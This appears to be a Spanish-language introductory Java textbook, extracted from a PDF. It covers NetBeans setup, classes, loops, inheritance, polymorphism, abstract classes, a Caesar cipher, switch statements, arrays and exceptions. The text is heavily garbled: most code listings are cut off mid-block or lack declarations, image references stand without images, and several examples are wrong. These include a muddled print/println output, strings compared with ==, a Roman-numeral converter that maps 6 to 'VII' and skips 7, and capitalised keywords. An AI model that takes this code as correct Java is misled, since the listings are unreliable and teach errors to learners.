Libro de JAVA
Libro de JAVA
1
TABLA DE CONTENIDOS
Introducción a Java…………………………………………………..............2
Instalación del programa NetBeans IDE 8.2…………………….………...5
Polimorfismo……………………………………………………………………46
Herencia Múltiple…………………………………………………………......49
Palabra clave Static…………………………………………………….……52
Palabra clave Final…………………………………………………….……..55
Clases abstractas……………………………………………………….........58
Encriptación……………………………………………………………….......64
2
Introducción a Java
- Encapsulación
- Herencia
- Polimorfismo
- Enlace dinámico.
3
¿Porque programar en Java?
Tiene un enfoque a las páginas web, ya que no tienen que ser estáticas, se
le pueden poner toda clase de elementos multimedia ya que permiten un
alto nivel de interactividad con el usuario.
4
Java enfocado a la seguridad informática:
Esta vez empecé por adoptar la necesidad del concepto de la
programación desde lo más básico y que realmente se pueda comprender,
más conceptos en el entorno de la seguridad.
*
*
*
*
*
*
*
*
*
*
*
*
*
5
Lo que se cubre en nuestro libro:
Capítulo 1: Java con objetos: En este capítulo comenzaremos a programar
desde cero, empezado por saber que es una clase y como la declaramos,
utilizando nuestra herramienta NetBeans, explicaremos a fodo ejemplos
sencillos y claros para mejor comprensión, java es un lenguaje
estructurado, por que permite utilizar las estructuras de control (if else,
while, for, operadores, etc). Java contiene algunas características las
cuales son: Objetos, Clases, Métodos, Subclaes, Herencia Simple.
Desde el principio:
Java es un lenguaje de carácter general y orientado a objetos, ¿realmente
porque es importante conocer el lenguaje de programación Java?
7
Comenzaremos con el proceso de instalación:
Una vez que termine este proceso haremos clic en “next” y nos aparecerá
la siguiente ventana “Imagen 1.2”:
8
Imagen 1.2, Instalando del programa
9
Aceptamos los términos y condiciones y hacemos clic en “next” y nos
aparecerá la siguiente ventana “Imagen 1.4”:
10
Hacemos clic en “Instalt” y esperamos a que termine el programa, y
tendremos nuestro programa listo para utilizar.
Para crear un proyecto es lo que vamos hacer:
Nos iremos a la parte donde dice File y hacemos clic en “new proyect”, le
damos clic y nos aparecerá una ventana como esta, nos despliega una
serie de lenguajes en nuestro caso seleccionaremos java “Imagen 1.6”:
Una vez que tengamos esta ventana, hacemos clic en “next” y nos
arrojara otra ventana como esta, que nos indicara cual es el nombre de
nuestro programa “Imagen 1.7”:
11
En esta imagen le indico también en que parte nos indica donde guardara
los proyecto que vallamos realizando a lo largo de nuestro curso, una vez
hecho esto le damos clic en “Finish”, “Imagen 1.8”.
12
1. Java con Objetos
1.1. Conceptos y Declaración de clases
Para poder declarar una clase es necesario que tengamos nuestro proyecto
listo, en este caso tomaremos el proyecto que creamos y nos
posicionaremos en “Source Packages” daremos clic derecho y nos dirigimos
a new y crearemos un “java class”, pondremos el nombre de clase que
queramos “Imagen 1.9”:
13
Imagen 1.10, Ejemplo de clase
Es muy útil hacer comentarios en nuestros programas, para así tener claridad
en lo que estamos haciendo y se pueden poner // o /* que empieza a
comentar el texto y lo termina con */.
El cargador de la clase:
14
Funciones - Que describen un algoritmo una vez para ser usado en
muchos casos.
Objetos: Agrupa un conjunto de atributos.
Encapsulación
Herencia
Polimorfismo
15
Empezarnos con nuestro primer programa básico, el más común que se
pueda realizar en cualquier lenguaje de programación:
“HOLA MUNDO”
C:\Program Files\Java\jdk1.7.0_02\bin
Equipo -> Click derecho -> Propiedades -> Configuración Avanzada del
Sistema -> [Pestaña] Opciones Avanzadas -> Variables de Entorno
16
Buscamos en el cuadro mostrado la variable de nombre Path, presionamos
Editar, en el cuadro mostrado, nos vamos hasta el final del texto que ya está
escrito y agregamos lo siguiente sin las comillas:
";C:\Program Files\Java\jdk1.7.0_02\bin;"
Imagen 1.11
Paso 3:
java HolaMundo.java
java HolaMundo
17
Listo ya tenemos nuestro primer programa en Java.
Realizando este ejercicio básico podemos notar que hay una diferencia
entre print, println, la diferencia es que si ejecutamos esto:
System.out.print(“Hola”);
System.out.println(“mundo”);
La salida del programa seria esta:
Hola mundo “Diferencia”
Otro ejmeplo:
System.out.println(“Hola”);
System.out.println(“mundo”);
Salida:
Hola
mundo
Hola
Mundo
18
Secuencias de escape:
19
1.2. Declaración de Atributos y Métodos
A continuación, mostraremos una tabla con los tipos de datos que están
en java “Imagen 1.13”:
20
Los miembros dato
21
En java una clase puede tener cualquier número de métodos para acceder
o modificar el comportamiento de la clase, “Imagen 1.15”.
Método Get:
Método Set:
Las ventajas de usar estos métodos, es la protección de las variables que utilizan
los métodos de acceso que permite a los programadores modificar sencillamente
el código, sin cambiar la forma en que se requiere la clase por otros.
Utilizaremos la clase persona, para dar ejemplo del método Get y Set “Imagen
1.16”:
22
Imagen 1.16, Método Get y Set.
23
1.3. Operadores, Constructores, Inicialización y
Modificadores
24
Los Operadores lógicos tienen prioridad, se mostrará una pirámide general
que indica el orden en que deben evaluarse, “Imagen 1.18”:
25
System.out.print(“Escriba el segundo número a sumar:”);
b = leer.nextInt();
resultado = a + b;
System.out.printf(“La suma es %d\n “, resultado)
} // fin del método main
} // fin de la clase
En la parte donde creamos el objeto para leer datos podemos resaltar que
un objeto Scanner permite a un programa leer datos como números,
cadenas, etc.
Para poder impirmir la suma escribimos printf, le damos un formato para dar
el resultado. El especificador %d es un receptaculo para un valor int, en este
caso el valor de el resultado, la letra d se refiere a “entero decimal”.
26
1.2 Ejemplo Operadores lógicos:
import java.util.Scanner;
public class uno_dos
{
public static void main(String[] args)
{
Scanner leer = new Scanner(System.in);
int a, b;
System.out.print(“Escribe el primer número”);
a = leer.nextInt();
System.out.print(“Escribe el segundo número”);
b = leer.nextInt();
if( a == b)
System.out.printf(“ %d == %d\n”, a,b);
if( a != b)
System.out.printf(“ %d != %d\n”, a,b);
if( a < b)
System.out.printf(“ %d < %d\n”, a,b);
if( a > b)
System.out.printf(“ %d > %d\n”, a,b);
if( a >= b)
System.out.printf(“ %d >= %d\n”, a,b);
if( a <= b)
System.out.printf(“ %d <= %d\n”, a,b);
}
}
27
1.3 Ejemplo de los operadores lógicos:
import java.util.*;
public class programa04 {
public static void main (String args[]){
long a,b;
//scanner te permite capturar valores desde el teclado
Scanner teclado=new Scanner(System.in);
System.out.println("Dame un numero 1:");
a=teclado.nextLong();
System.out.print("Dame el numero2:");
b=teclado.nextLong();
if(a>b){
System.out.println("El mayor es:"+a);
}else{
System.out.println("El mayor es"+b);
}
}
}
28
1.4 Ejemplo de operadores lógicos:
public class Verdaderoyfalso
{
public static void main(String[] args)
{
String sexo ="Mujer";
int edad = 35;
if (sexo == "Mujer" || edad==25 )
{
System.out.println("Si eres mujer y tienes 25 años ");
}
else
{
System.out.println("Alguna de las opciones no esta correcta ");
}
}
}
29
1.5 Ejemplo de operadores lógicos:
public class Verdaderoyfalso
{
public static void main(String[] args)
{
String sexo ="Hombre";
int edad = 35;
if (sexo == "Mujer" || edad==25 )
{
System.out.println("al menos una es correcta ");
}
else
{
System.out.println("Ninguna de las opciones es correcta ");
}
}
}
30
Comenzaremos hablar sobre los ciclos, que nos ayudan para repetir una
instrucción.
El ciclo while, nos permite especificar que un programa debe repetir una
acción mientras cierta condición sea verdadera.
1.6 Ejemplo de ciclo While:
import java.util.Scanner;
public class ciclo
{
public static void main(String[] args)
{
Scanner leer = new Scanner(System.in);
int contador = 1; // iniciamos el contador que será uno
float x = 0; // x guarda el total de la suma
float y; // aquí se almacenará cada calificación
float promedio; // para sacar el promedio
31
System.out.printf("Promedio es: %f ", promedio);
}} //mostramos
32
Ciclo de repetición For:
En el ciclo For es necesario seguir estas reglas:
For (inicialización, condición, incremento)
Ejemplo de ello “Imagen 1.22”:
A haremos un programa para hacer un conteo desde 1 al 100 con ciclo For.
1.8 Ejemplo de ciclo For:
Public class ciclo3
{
public static void main(String[] args)
{
System.out.print("numeración de 1 al 100");
for(int contar = 1; contar <=100; contar++)
{
System.out.printf(" %d ",contar);
}
}
}
33
Ciclo de repetición Do While:
34
1.4. Constructor
El constructor tiene el nombre de como definimos la clase y nunca tienen
tipo de retorno a diferencia de un método. Es importante diferenciar entre
un método y un constructor.
35
Imagen 1.24, Ejemplo del constructor.
36
public String getNombre () { return nombre; } //Cierre del método
}
1.11 Ejemplo de constructor, pero con sobre carga:
public class Persona {
//Modificador private es el alcanse
//public (lo ve el proyecto)
//Modifiador no va es default (quien me usa lo ve)
//private nadie (solo la propia clase)
//atributos
private String curp;
private String nombre;
private long aniomesdia;
//constructor default
Persona(){
curp="";
nombre="";
aniomesdia=0;
}
//Sobrecarga del constructor
Persona(String curp, String nombre,long aniomesdia){
this.curp=curp;
this.nombre=nombre;
this.aniomesdia=aniomesdia;
}
//Metodo que imprima el nombre
public void imprimenombre(){
System.out.println("nombre="+nombre);
37
}
//Metodo que no regresa
//Set es para asignar
public void setaniomesdia(long aniomesdia){
this.aniomesdia=aniomesdia;
}
//Metodo que regresa
//Get regresa
public long getaniomesdia(){
return aniomesdia;
}
public void setcurp(String curp){
this.curp=curp;
}
public String getcurp(){
return curp;
}
public void setnombre(String nombre){
this.nombre=nombre;
}
public String getnombre(){
return nombre;
}
public String genero(){
//la doble comilla convierte en string automaticamente
return ""+curp.charAt(10);
}
38
public boolean verificacurp(){
39
1.5. Inicialización y Modificadores
Los modificadores de acceso son “public, private, protected y default”
estos determinan desde donde la clase puede acceder a un elemento.
Sólo puede utilizarse sobre los miembros de una clase y sobre interfaces y
clases internas.
Private convierte los elementos en privados para las otras clases, un objeto
de una determinada clase puede acceder a los miembros privados de
otro objeto de la misma clase.
int [] prome;
prome= new int[20];
40
int j=0,i;
float total=0;
for(i=0;i<20;++i)
{
System.out.print("ingrese calificacion del alumno "+i+": ");
prome[i]=teclado.nextInt();
total=total+prome[i];
}
System.out.println("total es: "+total);
total= total/20;
System.out.println("promedio general es: "+total);
for(i=19;i>=0;--i)
System.out.println("alumno "+i+" su promedio es: "+prome[i]);
}
}
41
1.13 Ejercicio: Realizar un programa en java que calculé el mayor y el
menor de n números.
Solución del ejercicio 1.13:
public class Programa {
public static void main(String[] args) {
int cant,num,mayor=0,menor=0,i;
cant=Integer.parseInt(JOptionPane.showInputDialog("ingrese
repeticiones:"));
for(i=1;i<=cant;i++)
{
num=Integer.parseInt(JOptionPane.showInputDialog("ingrese
numero:"));
if(i==1){
mayor=num;
menor=num;
}
if(num<menor)
menor=num;
if(num>mayor)
mayor=num;
}
System.out.println("mayor= "+mayor);
System.out.println("menor= "+menor);
}
}
42
1.6. Herencia Simple
Es un mecanismo que permite la definición de una clase a partir de otra
clase ya existente.
43
1.14 Ejemplo de herencia:
Usaremos el ejercicio 1.11“sobrecarga del constructor” la case persona:
public class Persona {
//Modificador private es el alcanse
//public (lo ve el proyecto)
//Modifiador no va es default (quien me usa lo ve)
//private nadie (solo la propia clase)
//atributos
private String curp;
private String nombre;
private long aniomesdia;
//constructor default
Persona(){
curp="";
nombre="";
aniomesdia=0;
}
//Sobrecarga del constructor
Persona(String curp, String nombre,long aniomesdia){
this.curp=curp;
this.nombre=nombre;
this.aniomesdia=aniomesdia;
}
//Metodo que imprima el nombre
public void imprimenombre(){
System.out.println("nombre="+nombre);
44
}
//Metodo que no regresa
//Set es para asignar
public void setaniomesdia(long aniomesdia){
this.aniomesdia=aniomesdia;
}
//Metodo que regresa
//Get regresa
public long getaniomesdia(){
return aniomesdia;
}
public void setcurp(String curp){
this.curp=curp;
}
public String getcurp(){
return curp;
}
public void setnombre(String nombre){
this.nombre=nombre;
}
public String getnombre(){
return nombre;
}
public String genero(){
//la doble comilla convierte en string automaticamente
return ""+curp.charAt(10);
}
45
public boolean verificacurp(){
46
public void muestradatos(){
System.out.println("ID="+id);
super.imprimenombre();
}
public void setid(long id){
this.id=id;
}
public long getid(){
return id;
}
}
Este es un claro ejemplo de lo que es una herencia.
47
2. Conceptos avanzados sobre las Clases
2.1. Polimorfismo
El polimorfismo indica un término “muchas formas” que se refiere a la
propiedad por la que es posible enviar mensajes iguales a objetos de tipos
diferentes.
La regla para que esto pueda cumplirse es en los objetos que se utilizan de
manera polimórfica es saber responder al mensaje que le envía.
48
1.15 Ejemplo de polimorfismo:
public class programa12 {
public static void main(String args[]){
programa11 p11[]=new programa11[10];
p11[0]= new programa11();
System.out.println(p11[0].gettipo());
p11[1]= new programa10();
System.out.println(p11[1].gettipo());
//Una variable p11 tipo clase programa1
//Puede tomar el valor de otra clase
//polomorfismo
}
}
49
La herencia puede reutilizar las partes comunes de la superclase. A
diferencia del polimorfismo, en la forma que se implementa la superclase.
50
2.2. Herencia Múltiple
51
Un interfaz se declara de la siguiente forma:
Public interface NombredelaInterface{
Declaraciones de métodos abstractos;
[atributos constantes];
}
interface Figura{
int area();
}
int lado;
lado = ladoParametro;
}
52
System.out.println(figura.area());
53
2.3. Palabra clave Static
Un caso en el que nos podría ser útil static es en una clase que nos diga la
cantidad de objetos que se han creado basándose en ella.
54
public static void main(String[] args) {
//Se crean instancias
Persona p1 = new Persona();
Persona p2 = new Persona();
Persona p3 = new Persona();
//Accedemos al metodo estatico para ver el numero
//de instancias de tipo Persona creadas
System.out.println(Persona.getNPersonas());
}
}
}
}
55
1.19 Ejemplo de bloque estático:
Public class Objeto {
private static int campo1;
static {
campo1=10;
}
}
56
2.4. Palabra clave final
Una clase final es una clase que no puede ser extendida, es decir ninguna
otra clase la puede heredar, será entonces una clase única y que no
tendrá herederos al no poder ser extendida.
Declaramos una clase "Madre" que será final, esto quiere decir que no
podrá ser extendida por otra.
57
Un método final no puede ser redefinido por una clase hija. Esto quiere
decir que, si yo defino un método final en la clase X y luego la clase Y es
hija de la clase X, entonces la clase Y no podrá cambiar la definición de
dicho método, puesto que éste es final.
Declaramos una clase "Madre" que será tendrá un método final, esto
quiere decir que dicho método no podrá ser redefinido.
//Atributos de la clase
//Método de la clase
58
System.out.print(“Adios”);
return valor;
System.out.println("IVA:"+IVA);
System.out.println("IVA:"+IVA);
59
2.5. Clases abstractas
Si una clase hereda de una clase abstracta, deberá de sobre escribir todos
los métodos abstractos, si no es así, la clase que hereda deberá ser pasada
a abstractas.
Una clase abstracta puede llevar métodos no abstractos, pero solo con
que exista un método abstracto, la clase deberá ser pasada a abstracta,
como los métodos estáticos no pueden ser redefinidos, un método
abstracto no puede ser estático.
Una clase abstracta si puede tener constructores.
60
Imagen 1.29, Diagrama de una Interfaz y una clase abstracta
// Atributos:
public int numeroLados;
public int area;
public int volumen;
// Métodos:
abstract public void calcularArea();
abstract public void calcularVolumen();
}
61
1.25 Ejemplo 2 de clase abstracta:
import java.util.*;
public class abstracta {
62
class Saxofon extends Instrumento {
public void tocar() {
System.out.println("Saxofon.tocar()");
}
public String tipo() { return "Saxofon"; }
public void afinar() {}
}
// Un tipo de Guitarra
class Guzla extends Guitarra {
public void tocar() {
System.out.println("Guzla.tocar()");
}
public void afinar() {
System.out.println("Guzla.afinar()");
}
}
// Un tipo de Guitarra
class Ukelele extends Guitarra {
public void tocar() {
System.out.println("Ukelele.tocar()");
}
public String tipo() { return "Ukelele"; }
}
63
public class Musica2 {
64
orquesta[i++] = new Ukelele();
afinarTodo(orquesta);
}
}
}
65
2.6. Encriptación
Dentro de la encriptación hay muchos métodos, pero en este libro
hablaremos sobre el algoritmo de código cesar.
Este alfabeto tiene 255 caracteres por lo que las posibilidades de cifrado y
la dificultad para desencriptar se ven aumentadas.
su funcionamiento es el siguiente:
28%26 = 2
Cesar(“A”) =”C”
Así se acomodaría el alfabeto “Imagen 1.30”:
66
1.26 Ejemplo de cómo cifrar en Java:
Paso número 1:
Paso 2:
public class c {
public c(){
}
67
for(int i = 0; i < texto.length();i++)
{
//busca la posicion del caracter en la variable tabla
int pos = tabla.indexOf(texto.charAt(i));
//realiza el reemplazo
if ((pos + key) < tabla.length()){
res = res + tabla.charAt(pos+key);
}
else
{
res = res + tabla.charAt((pos+key) - tabla.length());
}
}
return res;
}
68
res = res + tabla.charAt(pos-key);
}
}
return res;
}
69
if (k <=10){texto2.setText(c.Encriptar(t, k));}
}
70
3. Utilidades y Elementos del JDK
3.1. Expresiones
Una expresión es una combinación de variables, operadores y de métodos
que evalúa a un valor sencillo, el tipo de dato del valor regresado por una
expresión depende de los elementos usados en la expresión.
71
Imagen 1.32, Ejemplo de expresiones
72
3.2. Control de flujo
Las sentencias de control de flujo determinan el orden en que se
ejecutarán las otras sentencias dentro del programa.
Sin este tipo de instrucciones el programa sería totalmente lineal y limitado.
Previamente ya entramos algo con este tema que son los ciclos, pero lo
vamos a refirmar en esta parte en pesaremos por lo vamos básico que son
las instrucciones if, else if y else.
73
Imagen 1.33, Ejemplo de if y else if en diagrama de flujo
74
Imagen 1.34, Ejemplo 2 de if y else if en diagrama de flujo
75
1.33 Ejemplo de If:
//Nuestra condición es admitido
if ( admitido == true) {
System.out.println ("Se ha admitido el valor");
}// termina nuestra condición
//En caso de else cuando no se admite el valor
else {
System.out.println ("No se ha admitido el valor");
}
//Si ninguna de estas se cumple procera a decir que los valores no son
validos.
76
else {
System.out.println ("Los valores no son válidos");
}
System.out.println("Menú de opciones");
System.out.println("-------------------------");
System.out.println("1. Calcular el área de un Cuadrado");
System.out.println("2. Calcular el área de un Triángulo");
System.out.println("3. Calcular el área de un Circulo");
System.out.println("4. Finalizar");
if (opcion == 1) {
System.out.println("Ha seleccionado calcular el área de un
cuadrado...");
} else if (opcion == 2) {
System.out.println("Ha seleccionado calcular el área de un
triángulo...");
} else if (opcion == 3) {
System.out.println("Ha seleccionado calcular el área de un circulo...");
} else {
System.out.println("Ha seleccionado terminar");
}
77
Switch: evalúa una variable en determinados casos, dependiendo los
paramentos que nosotros deseamos, dentro de nuestros casos también
podemos meter if, else if.
La variable que tiene que ser de tipo entero o un carácter.
Cada caso lo vamos a definir con la palabra “case” dentro de las llaves,
representado una de las posibles instrucciones que puede tomar la variable.
Si el valor de la variable encaja con alguno de los case se ejecutará el
código de ese case hasta el primer break.
La instrucción break es necesaria para que detenga la ejecución, en caso
contrario seguirá buscando un case, y siempre se pondrá hasta el final de
nuestro case.
La instrucción defaul a su no vez no es necesaria, pero en caso de que se
utilice debe ir al final de todos nuestros case, y con un mensaje necesario.
La sintaxis es la siguiente:
switch (expresion) {
case valor1:
/ / Declaraciones
break; / / opcional
case valor2:
/ / Declaraciones
break; / / opcional
/ / Usted puede tener cualquier número de case.
default: / / Opcional
/ / Declaraciones que cumplirá si la variable no entra en ningún caso.
}
78
Imagen 1.35, Ejemplo de switch en diagrama de flujo
79
Imagen 1.36, Ejemplo 2 de switch en diagrama de flujo
switch(departamento)
{
case 'A' :
System.out.println("Desarrollo");
break;
case 'B' :
System.out.println(“Recursos Humanos");
break;
case 'C' :
System.out.println("Finanzas");
break;
case 'D' :
System.out.println("Mercadeo");
80
default :
System.out.println(“Departamento invalido");
}
System.out.println(“Código para el departamento es " + departamento);
}
}
81
}
82
Crearemos un mini programa que elija uno que hacer en dicha acción
como un menú, será seleccionar que desea hacer uno y la salida del
programa tendrá el formato siguiente:
MENU:
1.- SUMAR
2.- RESTAR
3.- MULTIPLICAR
4.- SALIR
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[] args)
{
int a;
do{
System.out.println("MENU\n1.-SUMAR\n2.-RESTAR\n3.-MULTI\n4.-SALIR\n");
a = leer.nextInt();
switch(a)
{
case 1:
sumar(); //llamarems al metodo sumar
83
break;
case 2:
System.out.println("Ingrese primer número a restar");
int an = leer.nextInt();
System.out.println("Ingrese segundo número a restar");
int bn = leer.nextInt();
System.out.printf("Resultado %d ", (an-bn));
leer.next();
break;
case 3:
System.out.println("Ingrese primer número a multi");
int ann = leer.nextInt();
System.out.println("Ingrese segundo número a multi");
int bnn = leer.nextInt();
System.out.printf("%d ",multi(ann,bnn));
leer.next();
break;
}
}while(a!=4); // aquí si uno aprieta el 4 como es falso que
} // 4 sea diferente de 4 se rompe el ciclo y termina
// el programa.
public static void sumar()
{
System.out.println("Ingrese primer número a sumar");
int am = leer.nextInt();
System.out.println("Ingrese segundo número a sumar");
int bm = leer.nextInt();
84
System.out.printf("Resultado %d ", (am+bm));
leer.next();
}
public static int multi(int a, int b)
{
return (a*b);
}
}
Otro caso seria del usar un poco de más ingenio y no solo seleccionar datos
aventados a lo seguro si no un ejemplo sencillo seria de cómo usar el switch
pero no definiendo directamente lo que queremos seleccionar ejemplo el
famoso también programa para convertir a números Romanos.
import java.util.Scanner;
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[]args)
{
int D;
int U;
int N;
int R;
int a;
do
{
85
U = R ; - aquí se guarda el resid en U.
switch (D)
case 1: System.out.print("X");
break;
case 2: System.out.print("XX");
break;
case 3: System.out.print("XXX");
break;
case 4: System.out.print("XL");
break;
case 5: System.out.print("L");
break;
case 6: System.out.print("LX");
break;
case 7: System.out.print("LXX");
break;
case 8: System.out.print("LXXX");
break;
case 9: System.out.print("XC");
break;
case 10: System.out.print("C"); break;
switch (U)
{
case 0: System.out.print(""); break;
case 1: System.out.print("I"); break;
case 2: System.out.print("II"); break;
case 3: System.out.print("III"); break;
case 4: System.out.print("IV"); break;
case 5: System.out.print("V"); break;
case 6: System.out.print("VII"); break;
case 8: System.out.print("VIII"); break;
86
case 9: System.out.print("IX"); break;
}
System.out.println();
System.out.println("Oprima 0 para salir o 1 para continuar");
a = leer.nextInt();
}
while(a==1);
}
}
En el caso de los ciclos for, while y do while solo vamos a refirmar con más
ejercicios y diagramas de flujo.
87
1.39 Ejercicio de pirámides con ciclo for:
88
Imagen 1.39, Resultado del ejercicio 1.40
89
Imagen 1.41, Ejemplo 2 de ciclos while en diagrama de flujo
1.41 Vamos hacer el mismo ejercicio de pirámides, pero con ciclo while:
90
columna=1;
while(columna<=fila){
System.out.print("*");
columna++;
}
fila++;
}
}
}
91
aux--;
}
while(num>0){
System.out.print("**");
num--;
}
}
}
92
Imagen 1.44, Solución del ejercicio 1.43
93
3.3. Arreglos
Un arreglo es un espacio de memoria que permite almacenar una serie de
datos del mismo tipo. Es una secuencia contigua de celdas o casillas, que,
en cada una, guardara un elemento del arreglo.
Para diferenciar cada elemento se utilizan subíndices entre paréntesis
cuadrados [ ].
Declaración de arreglos:
tipo_dato nombre_arreglo[n];
El tipo de dato puede ser int, float, double o char, además de otros tipos.
Pero todos los elementos en el arreglo tienen que ser del mismo tipo.
n, es el tamaño del arreglo, es decir el número de elementos que se
pueden almacenar en el arreglo.
int exped[10];
94
Imagen 1.47, Ejemplo de cómo se vería el arreglo
Pero para hacer esto primero veamos cómo sería un cáliz haciendo una
secuencia de 5 tiradas.
import java.util.Scanner;
import java.util.Random;
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[]args)
{
System.out.println("Tiraremos un dado, cuantas veces?");
int a = leer.nextInt();
95
Random gen = new Random();
int cara;
for (int contador = 1; contador <= a; contador++)
{
cara = 1 + gen.nextInt(6); //numero aleatorio del 1 al 6
System.out.printf("%d ",cara);// si el contador es divisible
// entre 5 salto de línea.
if(contador % 5 == 0)
System.out.println();
}
}
}
Empecemos con sacar la frecuencia de cuantas veces cayó una cara del
dado si este se arrojó 100,000 veces.
import java.util.Scanner;
import java.util.Random;
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[]args)
{
System.out.println("Tiraremos un dado, cuantas veces?, te parece que
sean más de 10000?");
int a = leer.nextInt();
Random gen = new Random();
int uno = 0;
int dos = 0;
int tres = 0;
int cuatro =0;
int cinco = 0;
int seis = 0;
96
int cara;
switch (cara)
{
case 1:
uno++;
break;
case 2:
dos++;
break;
case 3:
tres++;
break;
case 4:
cuatro++;
break;
case 5:
cinco++;
break;
case 6:
seis++;
break;
}
}
System.out.println("las veces que cay+o cada numero fueron");
System.out.printf("Cara\t Frecuencia\n");
System.out.printf("1\t%d\n2\t%d\n3\t%d\n4\t%d\n5\t%d\n6\t%d\n",uno,
dos,tres,cuatro,cinco,seis);
leer.nextLine();
}
Veamos cuánto vale cada posición tan solo declarando un arreglo con 10
elementos sin ningún valor, arrojándonos únicamente ceros ya que cuando
se crea un arreglo con ciertas posiciones o número de elementos en
automático se crea con ceros.
class numeros
{
public static void main(String[] args)
{
int[]a;
a = new int[10];
for(int i = 0; i< a.length; i++)
{
System.out.printf("%d \n",a[i]);
}
}
}
98
En este caso la longitud del arreglo se determina con base al número de
elementos dentro de la lista inicializadora.
int[]a = {1,45,50,7}
esto quiere decir que creamos un arreglo con 4 elementos, el dato 0 tiene
valor 1, el dato 1 = 45, dato 2 = 50 y el dato 3 = 7.
Pero ahora veamos cómo lo imprimimos:
class lista
{
public static void main(String[] args)
{
int[]a = {1,45,50,7};
99
1.48 Ejercicio de sumar un arreglo:
class suma
{
public static void main(String[] args)
{
int[]a = {1,45,50,7};
int sum = 0; // empezamos desde cero a contar
for(int i = 0; i< a.length; i++)
{
sum = sum + a[i];
}
System.out.printf("%d \n",sum);
}
}
Que pasa cuando ejecutamos el for pro primera vez sum = 0:
Primero pasa por el for:
res = 0 + 1;
Segundo paso:
sum = 1 + 45;
Tercer paso:
sum = 46 + 50
Cuarto paso:
sum = 96 + 7
y se imprime sum = 103
100
1.48 Ejercicio de la selección mexicana que nos indique cuantas veces ha
ganado, perdido y empatado:
import java.util.Random;
import java.util.Scanner;
class num
{
public static void main(String[] args)
{
Random xd = new Random();
Scanner leer = new Scanner(System.in);
System.out.println("Cuantas veces quieres que juegue México \ny saber
cuántas veces gano, perdió y empato?\n 1.-gano 2.- empato y 3.- perdió");
int x = leer.nextInt();
int[]a = new int[4]; //contamos la frecuencia
Arreglos bidimensionales:
tipo_dato nombre_arreglo[m][n];
101
Mostraremos gráficamente un ejemplo de como se posicionan los valores
ya que las filas se indizan o indexan con los valores desde cero para el
primer valor 1 y así el siguiente…etc.
import java.util.Scanner;
public class arreglo {
102
int [][] m = new int[f][c];
1.49 En este ejercicio haremos un programa que lea los números enteros
y los guarde en una matriz de 5 filas y 4 columnas. Se mostrarán los
valores leídos, el mayor:
103
}
mayor = menor = A[0][0];//se toma el primero como mayor y menor
filaMayor = filaMenor = colMayor = colMenor = 0;
104
1.50 Ejercicio crearemos una matriz de n * m filas imprimir el mayor
elemento y la fila, columna donde se almacena:
105
for(int c=0;c<mat[f].length;c++) {
if (mat[f][c]>mayor) {
mayor=mat[f][c];
filamay=f;
columnamay=c;
}
}
}
System.out.println("El elemento mayor es:"+mayor);
106
Después comenzamos con dos for recorremos los elementos de la matriz y
cada vez que encontramos un elemento mayor, lo actualiza y
procedemos con la variable mayor y la posición donde se almacena.
For(int f=0; f<mat.length; f++)
{
For(int c=0; c<mat[f].legth; c++){
If(mat[f][c]>mayor)
{
Mayor=mat[f][c];
Filamay=f;
Columnamay=c;
}
}
107
4. Excepciones
4.1. Definición de Excepción
Una excepción es un proceso usado para describir algo que no esperaba, o
sencillamente problemas.
108
Excepciones más comunes en Java
ArithmeticException
109
NoClassDefFoundException
Se referenció una clase que el sistema es incapaz de encontrar.
ArrayIndexOutOfBoundsException
Este error se reserva para eventos que no deberían ocurrir. Por definición, el
usuario nunca debería ver este error y esta excepción no debería lanzarse.
110
Imagen 1.52, Ejemplo de tipo de excepción
111
4.2. Sentencia try-catch-finally
El control de flujo de un programa Java sabemos que lleva a cabo con
sentencias del tipo if, while, for, return, break, etc… Estas sentencias forman
un conjunto de palabras reservadas que determinan cierta funcionalidad.
- Try.
- Catch.
- Finally.
Try en inglés es el verbo intentar, así que todo el código que vaya dentro de
esta sentencia será el código sobre el que se intentará capturar el error si se
produce y una vez capturado hacer algo con él. Lo ideal es que no ocurra
un error, pero en caso de que ocurra un bloque try nos permite estar
preparados para capturarlo y tratarlo.
try {
System.out.println(“bloque de código donde pudiera saltar un error
es este”);
}
En catch, este bloque definimos el conjunto de instrucciones necesarias o
de tratamiento del problema capturado con el bloque try anterior. Es
decir, cuando se produce un error o excepción en el código que se
encuentra dentro de un bloque try, pasamos directamente a ejecutar el
conjunto de sentencias que tengamos en el bloque catch. Esto no es
exactamente así pero ya explicaremos más adelante todo el
funcionamiento.
catch (Exception e) {
System.out.println(“bloque de código donde se trata el
problema”);
}
112
después de catch hemos puesto unos paréntesis donde pone “Exception
e”. Esto significa que cuando se produce un error Java genera un objeto
de tipo Excepción con la información sobre el error y este objeto se envía
al bloque catch.
Y para finalizar tenemos el bloque finally que es un bloque donde
podremos definir un conjunto de instrucciones necesarias tanto si se
produce error o excepción como si no y que por tanto se ejecuta siempre.
finally {
System.out.println(“bloque de código ejecutado siempre”);
}
113
public class Programa {
try{
System.out.println("Instrucción 1.");
System.out.println("Instrucción 2.");
System.out.println("Instrucción 3, etc.");
114
1.51 Ejercicio de try catch:
public class Prgrama12 {
public static void main (String args[]){
try{
115
Imagen 1.55, Ejemplo de try catch 1.51
116
}
117
El sistema de control de excepciones puede ser anidado a cualquier nivel.
Debe mantenerse la regla de que un bloque try debe ser seguido por
un catch.
Pueden existir secuencias try-catch dentro de bloques try y de
bloques catch.
Captura de excepciones:
do{
error= false;
try{
System.out.print("Ingresa un valor: ");
a= entrada.nextInt();
entrada.nextLine();
118
System.out.print("Ingresa otro valor: ");
b= entrada.nextInt();
entrada.nextLine();
119
Con getMessage obtenemos una cadena descriptiva del error (si la hay).
Con printStackTrace se muestra por la salida estándar la traza de errores
que se han producido (en ocasiones la traza es muy larga y no puede
seguirse toda en pantalla con algunos sistemas operativos).
Un ejemplo de ello:
try {
... // Aqui va el codigo que puede lanzar una excepcion
} catch (Exception e) {
System.out.println ("El error es: " + e.getMessage());
e.printStackTrace();
}
120
public class Persona {
Dentro del bloque try vamos a incluir el código que puede lanzar la
excepción, mientras que dentro del catch vamos a manejar la posible
excepción lanzada dentro del try, en nuestro caso simplemente vamos a
mostrar el mensaje (“La edad debe ser positiva”) de error que nos
proporciona la excepción.
121
Imagen 1.59, Ejemplo de lanza de excepción
122
5. Interfaces Gráficas
5.1. Menús
Los Menús son el centro de la aplicación, ya es que es una interfaz gráfica
que interactúa con el usuario.
